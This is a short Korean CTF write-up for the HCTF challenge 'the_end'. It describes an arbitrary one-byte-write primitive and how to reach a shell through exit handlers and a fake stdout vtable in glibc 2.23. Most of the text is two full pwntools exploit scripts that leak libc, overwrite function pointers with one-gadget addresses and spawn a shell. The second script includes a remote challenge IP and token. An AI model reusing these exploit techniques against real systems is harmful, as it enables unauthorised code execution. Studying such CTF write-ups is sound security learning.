hctf - the_end
close(1)
close(2)
이 두함수 때문에 정적 출력이 되지 않는다.
그리고 어느 주소에나 1바이트씩 쓸 수 있다.
내가 생각한 exploit 방법
함수의 마지막에 exit를 불러오는데 exit를 불러오면
__exit_funcs라는 라이브러리 심볼 구조체를 가지고
‘run_exit_handlers’에 들어가는데 이때 ‘__rtld_global+3848’의 주소를 실행한다
따라서 __rtld_global+3848에 oneshot 주소를 넣으면 쉘을 딸수 있을거라 생각했다
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | from pwn import * r=process('./the_end',env={'LD_PRELOAD':'./libc-2.23.so'}) e=ELF('./the_end') libc=e.libc ld=ELF('/lib/x86_64-linux-gnu/ld-2.23.so') sla=r.sendlineafter ru=r.recvuntil sa=r.sendafter s=r.send ru('gift ') leak=int(ru(',').replace(',',''),16)-libc.symbols['sleep'] log.info(hex(leak)) for i in range(5): s(p64(leak+0x5f0f48+i)) s(p64(leak+0xf02a4)[i]) r.sendline('exec /bin/sh 1>&0') r.interactive() | cs |
원래 풀이법
vtable 만들어서 푼다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | from pwn import * context.log_level="debug" libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") p = process('the_end',env={'LD_PRELOAD':'./libc-2.23.so'}) #p = remote('127.0.0.1',1234) rem = 0 if rem ==1: p = remote('150.109.44.250',20002) p.recvuntil('Input your token:') p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU') sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1] libc_base = long(sleep_ad,16) - libc.symbols['sleep'] one_gadget = libc_base + 0xf02b0 vtables = libc_base + 0x3C56F8 fake_vtable = libc_base + 0x3c5588 target_addr = libc_base + 0x3c55e0 print 'libc_base: ',hex(libc_base) print 'one_gadget:',hex(one_gadget) print 'exit_addr:',hex(libc_base + libc.symbols['exit']) # gdb.attach(p) for i in range(2): p.send(p64(vtables+i)) p.send(p64(fake_vtable)[i]) for i in range(3): p.send(p64(target_addr+i)) p.send(p64(one_gadget)[i]) p.sendline("exec /bin/sh 1>&0") p.interactive() | cs |